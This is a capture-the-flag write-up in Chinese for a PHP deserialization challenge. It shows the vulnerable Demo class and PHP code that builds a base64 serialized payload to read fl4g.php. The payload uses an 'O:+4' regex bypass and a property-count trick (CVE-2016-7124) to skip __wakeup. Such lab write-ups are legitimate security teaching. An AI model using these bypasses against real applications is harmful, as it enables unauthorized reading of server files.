unserialize php ctf,CTF-WEB-XTCTF-Web_php_unserialize

题目来源

XTCTF-Web_php_unserialize

题目考点:PHP代码审计、PHP正则、PHP序列化与反序列化

解题思路

题目源码

class Demo {

private $file = ‘index.php‘;

public function __construct($file) {

$this->file = $file;

}

function __destruct() {

echo @highlight_file($this->file, true);

}

function __wakeup() {

if ($this->file != ‘index.php‘) {

//the secret is in the fl4g.php

$this->file = ‘index.php‘;

}

}

}

if (isset($_GET[‘var‘])) {

$var = base64_decode($_GET[‘var‘]);

if (preg_match(‘/[oc]:\d+:/i‘, $var)) {

die(‘stop hacking!‘);

} else {

@unserialize($var);

}

} else {

highlight_file("index.php");

}

?>

class Demo {

private $file = ‘index.php‘;

public function __construct($file) {

$this->file = $file;

}//成员函数_construct()作用为变量$file赋值

function __destruct() {

echo @highlight_file($this->file, true);

}//,_destruct()作用为页面显示变量$file内容

function __wakeup() {

if ($this->file != ‘index.php‘) {

//the secret is in the fl4g.php

$this->file = ‘index.php‘;

}

} //,_wakeup()作用为如果$file!=‘index.php‘,将index.php赋值给$file

//代码中可看出我们要读fl4g.php源代码

}//定义了一个DEMO类,类中有全局变量$file,3个成员函数

开始构造输出fl4g.php内容反序列化函数

$A = new Demo(‘fl4g.php‘);

$b = serialize($A);

//echo $b;

//O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

$b = str_replace(‘O:4‘, ‘O:+4‘,$b);//绕过preg_match

$b = str_replace(‘:1:‘, ‘:2:‘,$b);//绕过wakeup

//echo $b;

//O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

echo (base64_encode($b));

//TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

?>

用+4替换成4是为了绕过preg_match的正则表达式

同样的把2替换成1是利用了CVE-2016-7124的漏洞,即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

最后按照题目的意思encode一下base64就获取反序列化的结果,get传参即可

20201118152821885308.png

20201118152821994683.png

20201118152822057183.png

20201118152822416558.png

参考链接

原文:https://www.cnblogs.com/renhaoblog/p/13999979.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值